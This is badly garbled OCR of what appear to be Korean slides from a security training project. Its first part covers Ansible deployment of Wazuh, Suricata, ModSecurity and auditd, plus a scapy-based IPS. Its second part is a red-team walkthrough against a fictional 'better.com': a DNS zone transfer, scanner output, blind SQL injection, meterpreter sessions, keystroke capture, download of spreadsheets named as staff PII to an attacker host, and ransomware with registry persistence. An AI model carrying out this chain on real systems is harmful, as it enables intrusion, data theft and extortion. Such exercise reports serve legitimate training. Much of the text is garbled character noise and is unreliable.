changed: [localhost] => (item=audit)

[localhost] == (i1tem=wazuh)

[localhost] => (item=modsecurity)

vf Af  \S

localhost : changed=2 unreachable=0 =

[root@localhost rules]# 1s
audit_rules.conf modsecurity_rules.conf suricata_rules.conf wazuh_rules.conf

wazuh-agent 1%

audit = vyazuh—manager 2= Sagp|ae Mo

suricata & filebeat{A) 1=

2 MlHyjx filebeat(B) % ‘ Salp|AE O
QIZA HiE QISM M4 Y i

Agent

n Manager
wazuh-agent Wazuh-manager
auc!|t filebeat(A)
suricata filebeat(B)

mod_security



beat(B) = £

— —_
E =l A E 7 Ad AR T . 5 6 8 & b b b B i B i e e .
Xl-%g-l- O I-; | E_'l!x-l O EE TASK [[Ubuntu] = 2= T 7| X| & & ] Fokdkokkokokkokkkkkkokkskok ko kkkkokkkk

Automation Architecture Diagram TASK [[Ubuntu] Wazuh GPG Key & & = = 2 of of

Boot CA 7§ ©1 3] 8 %

SK [Filebeat(B) =

TASK [[Ubuntu] Elastic GPG Key Lt 2 £ & 4 ot O

Root CAE2 C(C5R & %
TASK [[Ubuntu] Wazuh H & & 2= 7} | kkkkkkkkkkkkkhkkkskskskskskkkkkHk# kA Systend 1% =

SK [Systemd @ = M =2 ] * K Root CA
TASK [[Ubuntu] Elastic M & & F 7} (Filebeat8 )] *kkxdkkkikkkkikkA

ilebeat(B) M & & 2 A E ] kkkkdkkk kKKK

TASK [[Rocky] Wazuh X & 4 SETELES

S 4 [F1,1@t‘@at‘8} = 2 M 2 = 2 :l 709k 7 7 3 7 9k T o e o ok e e ke o ok e ek ok o
TASK [[Rocky] Elastic M & & = 7} Manager

SK [debug] sk ek o ook ok ok e koo ok o ok ok ok ok ok ek ok ook ok

TASK [Wazuh Manager % Filebeat T 7] X] & X| ] *dksoksbokkokdkskiokkkkk A

Manager

PLAY RECAP %%k sk ok ok ok ok ok ok ook s o ok ok ok ke ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok o ok ok ook ok ke ok e ok ok ko
changed=0 unreachable=0

PLAY BECAP kv ok o o ook ok o o ook ok o o ook o 9 e ek ok o
unreachable=0
unreachable=0

ossec.conf &

EA NS
STAE N&E :
(::Z _~1 TASK [(Debian/Ubuntu) Filebeat & %
| ipping:
Al R skipping:
SXE XY DBMS .
TASK [(RedHat/Cent0S) Filebeat &
MySQ L skipping:
Wazuh-agent —_rl'g‘_{— TASK [w h Fileb M A HZE3 [}e C ok
B -« azu 1lebeat ¥ ®HE3 L[ 22 EC ]
audit 1= yaZUh manajg:er 7= Zale|AE X2 changed:
suricata & ilebeat(A)F1% ‘ changed:
= Ml I filebeat(B) 2= S| AE X
0§I£k| HH I DI = A A gl BT TASK [Filebeat © @ £+ & (Indexer B2 o3 )] >
LS changed:
changed:

TASK [Wazuh Filebeat 2 & & X[ ] *kkkdkdddkkskkixdk

changed:

Agent

TASK [Filebeat M H| & A] & ] skkkkskkkkkkrkkkkkh

Manager

- changed:
‘;v:;ilih agent Wazuh-manager changed:
Suricata ﬁIEbeat(A) PLAY RECAP %k dkkkkkkkkh ks kK k

changed=3
changed=4

mod_security
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Automation Architecture Diagram

TASK [(Debian/Ubuntu) Auditd o 71 & & & ] *kkkkks
skippina:

TASK [(RedHat/Cent0S) Auditd @ 7| X & & ] *kkskksk;
skippina:

TASK [Suricata 2 O 2 E 2 4 & | dkkkkkdkokkkkkkr
4 ["| 3 au:j'i_t_ru]_gs o % e oo :| 2 7 2 2 e A A ke ok ek o
= At :l 7 2 739 9 9 9 2 ok ko k]

2 At :l 7 7 2 A e A o e o e o e ok

H oA

] = :| 7 3 2 o o o e o ke ok
TASK [Suricata M Bl & Al I ] skkdkskdkokobskoskondosk koo okk
changed:

RUNNING HANDLER [restart suricata] #*%kkkkkkikikkk

chan

PLAY RECAP kv ok vk o vk o ok vk ok ok i 2k ok 2k 2k ok 2k o sk o ok vk i 3k 3 3k gk o 2k e 7k 3 2k k|

TASK I;[UtJL”:ItU:l 2+ LA EH R TASK [Maﬂaqer AMOB O A Root CA
s in ]

fot
- v
X
o/

|m
>
ok

c2 <

A
0

TASK [[Ubuntu] Wazuh GPG Key &t 2 PLAY [Wazuh Agent 4

|H;+ 1]

%
i Y
Rl
02

TASK [Gather-i_ﬂg Fa;:tg] 7 7 e o ok 9 9 o ok 9 e e o Ak e e ok ke e ke ke

W, Uh-agent :I'I'gcw_ { [AE:]E'!T'It o] = M AR A :l 7 e e e ke ok ek ok

wazuh-manager & ms a ] ees

filebeat(A)1= ‘ =] LS L x = —

filebeat(B) & skipping: |

ASM g A HE K [Root CA 9 S 4 B & ] dkdkkkkkkkkkrhhhhddisks
TASK [Wazuh Agent ™ 7| & 2 & ] *kkkkx

suricata =
E M BHE
QIS A HHIZ

TASK [Wazuh Agent € @ = 2 (ossec.con K [ossec.confdl Root CA Z 2 £ 2 ] *kkkkkkksk

Agent
wazuh-agent
audit
suricata
mod_sec

Manager
Wazuh-manager
filebeat(A)
filebeat(B)
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Automated Incident Response Framework

Hot &= Wazuh-agent Wazuh-manager
[—— 000] S
o Eoem A
LOG
S X 229y 27 A% 524 T
DB(E2H2|AE =4
4=
0.0.0.0 Q
Haja| AE CHX =
E—lal—— L_'H-'-
F—
[
e
SCa
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Automated Incident Response Framework

Hot &= Wazuh-agent Wazuh-manager

root@manager

=disabled>yes</disabled>
=/cluster=

<integration=
<name=custom-hackerdb</name=
<alert format=json</alert_ format=
=/integration=>

() 0.0.0.0 OO
SAXIP X

o

= ip
O &7 +3 FEA4 @ 24 20.1.0.10
O 78 5N @ 4H 40.1.0.10
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Automated Incident Response Framework

--- scapy ips A& ——

ZE £ {H: inbound

S BUAE : [40.1.0.1€
: [ens256 -> ens224]

: [ens256 -» ens224]
: [ens256 -» ens224]
: > ens224]

> ens224]

Ether / IP
Ether / IP
Ether / IP
Ether / IP
Ether / IP

10]

/ ICHP 2¢

/ ICMP 20.1.0.10 3

/ ICHP 2¢

J ICMP 20.1.0.10 3

/ ICHP 26

DB (Ez2|AE

I echo-request @ / Raw

.4 echo-request @ / Raw
.4 echo-request @ / Raw
.4 echo-request @ / Raw

} echo-request @ / Raw

)(

SCAPY

e

Oo| X2} %I-
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Vulnerability Identification and Validation

X|0I=I-I E} | al M I|OI=I-I 2} al HD—iE
T‘IEII:II x 1T T—|E|E|_I':tx|:|o
dns.qry. == 252 &l tcp, == 53 » | + —
A [ans.qry ype p.port IX] ] N [tep port == 53 B -]+
N Ti n ination Pr Infi &
0. me Source Destinatio otocol Lengt Info f % RS BE Ena o IR fused I =3 I s |
4578 2026-93-05 15:11:51.730020 30.3.20.2 20.1.0.10 DNS 135 Standard query respo.
4768 2026-93-05 15:11:58.068134 20.1.0.10 30.3.20.2 DNS 119 Standard query @x33b. BM: TE R EE O gzasx 28 [ 2w [(Nog wazag
4770 2026-903-05 15:11:58.070634 30.3.20.2 20.1.0.10 DNS 135 Standard query respo- ) ﬂ
4815 2026-83-85 15:11:59.618906 20.1.0.10 30.3.20.2 DNS 119 Standard query @xSde.. No. Time Source Destination Protocol Lengt Info
4817 2026-03-05 15:11:59.622407 30.3.20.2 20.1.0.10 DNS 135 Standard query respo. 1721 6. 008600 36.3.28.2 26.1.8.108 DHS 135 Standard query response @x571c Refused AXFR better.com OPT
4917 2026-93-05 15:12:06.285077 20.1.0.10 36.3.20.2 DNS 119 Standard query @xf88- 1722 9.088567 20.1.8.18 38.3.20.2 TCP 66 38911 = 53 [ACK] Seq=54 Ack=78 Win=64768 Len=0 TSval=3378668633 TSecr=1440616604
'}‘ 1725 9.008008 26.1.8.10 38.3.28.2 TCP 66 38911 - 53 [ACK] Seq=55 Ack=71 Win=64768 Len=@ TSval=337B668E95 TSecr=1448616757
Internet Protocol Version 4, Src: 30.3.20.2, Dst: 20.1.0.1@ Al
Transmission Control Protocel, Src Port: 53, Dst Port: 370089, Seq: 1, Ack: 54, Len: 69 1733 @ eaa584  26.1.8.18 38.3.26.2 TCP €6 29117 + 53 [ACK] Seq=1l Ack=1 Win=54768 Len=8 TSval=3373£71828 TSecr=1440627082
‘v Domain Name System (response) 1734 B.008008 26.1.8.18 38.3.20.2 DNS 119 Standard query @xle@e AXFR better.com OPT
Length: &7 1735 9.061507 30.3.20.2 20.1.8.10 TCP TSecr=3378671020
Transaction ID: @x649a 1726 2.000000 30.3.20.2 29.1.0.10 DNS Standard res| @xlede Refused AXFR better.com OPT
¥ Flags: @x88@5 Standard query response, Refused 1737 9.0@8500 26.1.0.10 3@.3.20.2 TCP 2 TSecr=1440627147
. = Response: Message is a response
000 B... .... .... = Opcode: Standard query (@)
.. ® Muthoritstive: Server is not an swthority for dossin 1746 ©.000000 20.1.0.10 36.3.20.2 TCP 66 39117 » 53 [AQR] Seq=55 Ack=71 Win=64768 Len=0 TSval=3378671143 TSecr=1446627205 v
..0. . . = Truncated: Message is not truncated
....... ® .... .... = Recursion desired: Don't do query recursively ~ [SEQ/ACK analysis] -~ a00 @@ 8c 29 20 6c c3 ca @1 95 4B 8@ 38 A8 0@ 45 06 ) + <H-
........ @... .... = Recursion available: Server can't do recursive queries [iRTT: 9.061008008 seconds] B0 79 4e 3a 40 @0 3d 86 a0 35 le 03 14 @2 14 €1  yN:§ - 5
.. .... = Z: reserved (8) [Bytes in flight: 69] 8@ @a B8 35 98 cd a7 b7 a4 a7 48 d4 @1 35 80 18 5. H
«.8. .... = Answer authenticated: Answer/a axfr m Ol x-l = I e server [Bytes sent since last PSH flag: &£38] cb ' u
........... @ .... = Non-authenticated data: Unaccq - & ﬁ m x A _ *-l meCeee )
TCP payload (69 bytes) a r better-
............ 9101 = Reply code: Refused (5) i o | er: com
i s 1 [PW Size: 59] o oa ) . .
Questions: ~ Domain Meme System (response) [=] e (L5
Answer RRs: @ Length: 67 AA =
Authority RRs: @ gth: i
Additional RAs: 1 Transaction ID: @xle@e
- ¥ Flags: @xB0@5 Standard query response, Refused
Toso snvs sass seus = Response: Message is a response
" e ' .98@ @... .... .... = Opcode: Standard query (@)
> <Root>: type OPT cess aBie suee ssas = Authoritative: Server is not an authority for domain
Request In: 4989 . = Truncated: Message is not truncated
[Time: ©.001500000 seconds) el = 21 eeee aa - S = Recursion desired: Don't do query recursively
veas ssss Buas 2... = Recursion available: Server can't do recursive queries
vess sane o@es oo ® I3 reserved (9)
' EEETTTITTTD ..@. .... = Answer suthenticasted: Answer/suthority portion was not suthfihticated by the serv.
I - I . cceptable
........ vesr D10 = Reply code: Refused (5)
' . y b Questions: 1
namedA{H|A2| 20 M axfr @Y Answer RRs: @
ﬁ.—g.)q §:|_7|. Lt Authority RRs: @
Additional RAs: 1
~ Queries
¥ better.com: type AXFR, class IN v <€ >
MY R LS SHE TEZI- 10808 TU I LIG- E45 P I B ID- Fadab

HIQIOt ALZ XA = axfr @Y ©&0] 2t DNS HE L= FU4H MEHOJ| A DNS axfr @9 M4 Jts M XSS 2 HoF HAl 22|
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Compliance with Major ICT Inspection Guidelines

M

|l

A
dn

AE
22

OjAgle OIY E3

root 0|2|2] UID7} ‘0

=%

root A’ su HEt

WAYE A2 Zo| E7

HALE ZCH AHE7|ZH
273

AQE X ME7|ZT
238

sZas AE HA

F2|xt J500 HAHO)
A =3

AHo| EXfsIX| 2=
GID =X|

S uiD 2

AEXL shell 2

Session Timeout 27

g 9l CidEe| &2]4
24

Jetc/passwd It A QX

o st 97

/etce/shadow WY A QX}

U A 2y

Jetc/hosts T A-Q X}

U A 27

fetc/6dinetd.conf Y

AQX} ol A 427

/etc/syslog.conf T

AQX o A

Jetc/services Y A QX4
o Mo 2%

S B
o SEnY 297 U
At 97

word writable I2! HA

/devoll EXSHR] b=

device WY HHA

$HOME/.rhosts,

SAY o A CAEC
24 5L HA

SAE 2|ZE

» 172.16.254.33 | PASS=19 | |/ 85=25
» 172.16.254.55 | PASS=19 | §|2%/$85=25
¥ 172.16.254.66 | PASS=23 | §|%/$5=22

v A 22| | Hefl=F4 £ | PASS=14 | F|¥/+S=16
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Compliance with ISMS Certification Criteria
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; <<>> DiG 9.20.11-4+b1-Debian <<>> better.com axfr
;+ global options: +cmd

com. 604800 1IN SOA
3600 1800 604800 86400
.COom. 604800 IN NS
.com. 604800 IN
.COm. 604800 IN
mail.better.com. 604800
1-1.dig,nmap nsl.better.com. 604800 1IN
> webl.better.com. 604800
Y www . better.com. 604800 IN
S zone file, MH|A MH S better.com. 604800
R com. S 3600 1800 604800 86400
3 EZ ol - = i .
s+ Query time: 28 msec

3+ SERVER: 30.3.20.2853(30.3.20.2) (TCP)
s WHEN: Wed Mar 04 17:18:24 KST 2026
;3 XFR size: 9 records (messages 1, bytes 295)

Nmap scan report for_

Host is up (0.025s latency).

PORT STATE SERVICE
80/tcp open http
443/tcp open https
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2 5 Stored xss TIOh’é.* M

el

el MH S
1-1. dig, nmap
>
<
zone file, MH|A HE &
12 gl

1-2. nikto, wafwOOf : F4X A
1-3.NSE, nessus : 2™ Abx

HI
1z

o
At
9
3
S

~YMY ¢ Y
NGINX:C
\‘\:.r1 r\';_:,;;()“'

NGINX:CV

~Y W ’
NGINX:CV
~23419
C ¢

y~-dombased-xss: Couldn’'t find any DOM based XSS.

y
»

, . . S 2N ST
D-Storegd-xss: ouLagn tangd any storegd XSS vuilners

>
tp-cookie-flag
login.php:
PHPSESSID:
httoonly
ITLD~-eNnuUm.
/login.
: ploads
Nitp-server

Y
Service intro.:

CGI Generic SQL Injection (blind)

Description

Nginx/NGINX:CVE
nginx, .‘\::)I“‘.:(-'.f

NEinX/NGINX:CVE-

)
4

'

)

By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able
to get a very different response, which suggests that it may have been able to modify the behavior of the application
and directly access the underlying database.

An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote
database, or even take control of the remote operating system.

Solution
Modify the affected CGI scripts so that they properly escape arguments.

See Also




Dumping Data from users

| Searching Adain ID]
00/ | Searching Adain Password)

' 9: ‘o B
(1] 2T =5

[ —
AN T S
2-1. SQLi(Blind) Xtz =4 8= )
A EFZI 3|A
2-2. 9tA |0 2 E A4 M gl e
2-3. I} X 2| F*H L R

Frogress:
Progress:
Progress:
Progress:
Progress:

Progress:
Progress:
Progress:
Progress:

| 393474014 |
[4015/4614]
[4073/4614]
[4156/4614]
(422676014

[4260/4614]
[4289/4614]
[4326/4614]
[4371/4614]

N Kali Forums o Kall Net

req/sec
req/sec
req/sec
req/sec
req/sec

req/sec
req/sec
req/sec
req/sec

puration.
Duration:
Duration:
Duration:
puration:

Duration:
Duration:
Duration:
Duration:




E Active sessions
il

SQLi(Blind) X1 =9 3
.9.““ Ho|2EE MM gl giZ
IOl k2] F ok

Id Name Type Information Connection

meterpreter php/linux ww-data @

whoami
root
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O 3-2. 2| X}7t AlA T H &
/\ 4—' E@l . ADMIN_PANEL

2 22|} (.exe) XIS CI2EE H| Al . 48 B ROAI OW N 44 NuE BUEIQ
I:II AI H RS USSE 3A

ot - - AR
) ACTION_RECANRED i

DELETE

Actlve sessions

Type Information Connection

meterpreter x86/win
dows
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meterpreter > keyscan_dump
Dumping captured keystrokes ...

<TH><TH><"H><"H><"H><"H>https<Right Shift>: /,- better.com<CR>

4. mailA|d g% eolleongdab-Right Shift>!@

|: Keylogger

v
rz
o
r&l
>
o2t
Q

5-1. 2t AJZIE(xIsm) 2E

(=] =2 o 3,7_;]‘II,
A ¥ v .
Q e of et &
I 1-1. dig, Q = ASA .

o= han_tj_net@bs.com

& ji_ti_server@bs.com
; kim_tj_db@bs.com

a park_tj_web@bs.com

e HHELIT EAE 2H oF A
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<

Q- mmmmmmmaaa,

S
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-2. 78 7} SHlpc &=
-3. RDP Shadowing:

2| Xt MM Fot 3 DB F el

S
g
XLS &n &
—> T T

sessions

Type

meterpreter
meterpreter
meterpreter
meterpreter
meterpreter

x86/windows
x86/windows
x86/windows
x86/windows
x86/windows

Information

DESKTOP-FCSDK2T"
DESKTOP-2TOLEBE"
DESKTOP-NUPBULU2I)
DESKTOP-NUPBU2I)
DESKTOP-SJKOLs8sP

php

@ DESKTOP-FCSDK2T
mu @ DESKTOP-2TOLEBE
@ DESKTOP-NUPBU2I
@ DESKTOP-NUPBU2I
@ DESKTOP-SJKOLSP

phpMyAdmin®ll 232 S U|Ch

T (Languaeoe)

FreeRDP: 192968304
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E l I peterpreter >

E downloading: C:/Users/sajang/Desktop/The better\TB_Exec_Staff_PII.xlsx — /home/Eve
Completed : C:/Users/sajang/Desktop/The better\TB_Exec_Staff _PII.xlsx - /home/Eve
E downloading: C:/Users/sajang/Desktop/The better\TB_Partner_SLA.xlsx — /home/Eve/TB
E Completed C:/Users/sajang/Desktop/The better\TB_Partner_SLA.xlsx » /home/Eve/TB
downloading: C:/Users/sajang/Desktop/The better\TB_Payment_Master.xlsx — /home/Eve
- - Completed : C:/Users/sajang/Desktop/The better\TB_Payment_Master.xlsx — /home/Eve
—S—Z,:'Xf k||:|'| downloading: C:/Users/sajang/Desktop/The better\TB_User_DB_2026.xlsx — /home/Eve/T|
(

Completed :/Users/sajang/Desktop/The better\TB User DB 2026.xlsx = /home/Eve/TI

MACHINE ADDRESSES VERSION LAST SEEN

kali 100.117.246.7 Vv 1.94.2 Connected
Linux 6.1710+kali-amd64

ubuntus 100.88.84.69 v 1.941 Connected
Linux 6.14.0-37-generic

root@Team-Red: &
better/

bhetter/TE_Exec_Statt_PII.x
better/TE_FPaument_Master.x
hetter/TE_User_DB_2026.x1¢

bhetter/TE _FPartner _SLA.xl1lsx
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_ 5 | The better _
o —~ " i
AR, 720t iz R -
Q T » The better "
n - - - | - - - - - - - - . ﬂ' Hr; ?r:}l ' _ _ '__ _. -:_-. = -__-_'.
B BHE 50 TB_Exec_Staff_Pll.xlsx.locked
—3—7_41 X|- 3 [(RE2C TB_Partner_SLA xlsx locked
B RM TB_Pa;.-'ment_Master.xIsx,lccked 2026-03-09 L% LOCKEC
- | TB_User_DB_2026.xIsx.locked
> "‘:’.x_l
OneDrive

| TB F.irhlv" .‘:_IL" ‘ |':.-‘

=1 TB_Pavment ﬁ ster.x|sx
ﬁ] B _User DB »|

Authent A || 0|2 EZ2 G 0] Ef

BBCkg(C ab l‘?[ga}, REG SZ '7; .:« n oy §1-
nqlde 5

i" 9ide! || b OneDrive REG_SZ "C:WUserswEveWAppDatawLocal#MicrosoftwOne
ip

Closedc || 22 WindowsUpdate... REG_SZ C:wUserswEvewDownloadswransomware.exe
WIVY
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A CRITICAL ERROR 4/
DATA CORRUPTED

- m
- PATA CORRUFTED - DATA CDRHUFTE
A CR
T CORRUPTED H

A CRITICAL ERROR A
DATA CORRUPTED

Time Remaining: 47:59:57 o

DATA CORRUPTED ERROR A

RRUPTED




OWASP

s oA o ¥8 CVE / CWE CVss [(fEE =M 9
2001
STEP 1 DNS Zone Transfer A05:2021 | CVE-1999-0532 153 pl=et = A PO TH =F
STEP 2-1 Blind SQL Injection | A03:2021 | CWE-89 198 Critical :DBAE X A5 33 EF
""""""""""" TOOA T o HOEE e & ¢E
STEP 2-2 Steganography | A04:2021 | CVE-2016-3714 . 84 High | _
CUTTTUNE U oz oY EE Y 9 A3
STEP 02-4 LFI égm.zum CWE-98 28.1 High aE s
N . oEE 9l ME AN AJAE Z[AQ
STEP 02-6 sup 2 g8 - A01:2021 | CVE-2021-4034/ CWE-269 78 Critical | _ .
 (Root) HTH 25
| 22 HOX| ¢HE U AHIE RF
STEP 02-7 Stored XSS (A032021 | CWE-T9 75 High | s a1
. . | 22X PC W 48D E(exe) XS Lt
STEP 03 ActiveX 7|gF && A03:2021 | CVE-2021-40444 / CWE:494 | 8.8 High  ozc ol zta
................................................. B B SO B o L ¥ T R LR R CEE
STEP 04 RDP Shadowing & UAC 23| : A01:2021 | CVE-2019-0708 / CWE-284 98 Critical
. 0| S (Lateral)
etsiel/C|HE SX|2 MAZ 22 &
STEP 04 Hot HH 23} A05:2021 | CWE-693 1 2.0 = L. 13 = =4
K| HA ==z}
_ CVE-2023-36884 . "2026 CjlAtett 2ME STt =71 FH
STEP 05 2us ZM RCE A062021 | SV / . 8.8 High | = N
CVE-2022-30190 PC CHE =&
| Tailscale =3 EEE o|g3t 7|
STEP 06 24 A'e HIOIH BrE : A05:2021 | CWE-668 / CWE-284 : 5.3 "
- dojg] 22 o=
_ .. 2ol EAE FA oy ¥== 2 7}
STEP 07 Q0] HO|ZE £3} Impact | CWE-732 / CWE-778 10,0 Critical =

28 2T U
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Foundation / Architecture

1. SPOF X|Z3} X 23t
QIZEH(HA) OF7|EiA 2+

MH 2724 (HA) % 100%
HES3 24| 2 H2100% =4l




Foundation / Architecture Operations / Automation
1. SPOF H|23} % £5¢t 2. SOAR 7|dt S¢&f 2ty &
QlZeh(HA) Of7 |EA 2t XS S HA(MTTR £HE) &
M 17124 (HA) % 100% =Y N % xrS2)

HES3 24| 2! 22F100% 24 SOAR 7% 100% 24



T
£

-:-:t@!% @@5

Foundation / Architecture Operations / Automation Validation / Testing
1. SPOF X|23} ¥ 2F¢t 2. SOAR 7|4t S 2tH| & 3. &% APT 3% A|EYI0|ME E¢t
QlZeh(HA) Of7 |EjA 2t XS S HA(MTTR £HE) &k AE{ZEt0|= o AS
M 17}284(HA) 7= 100% =2 oMl X xpS2) APT ZANQl AlL}2|2 $1¢ 2

HES3 2t4| & 29 100% 24 SOAR 7% 100% =4 F|oE 2M 100% &4






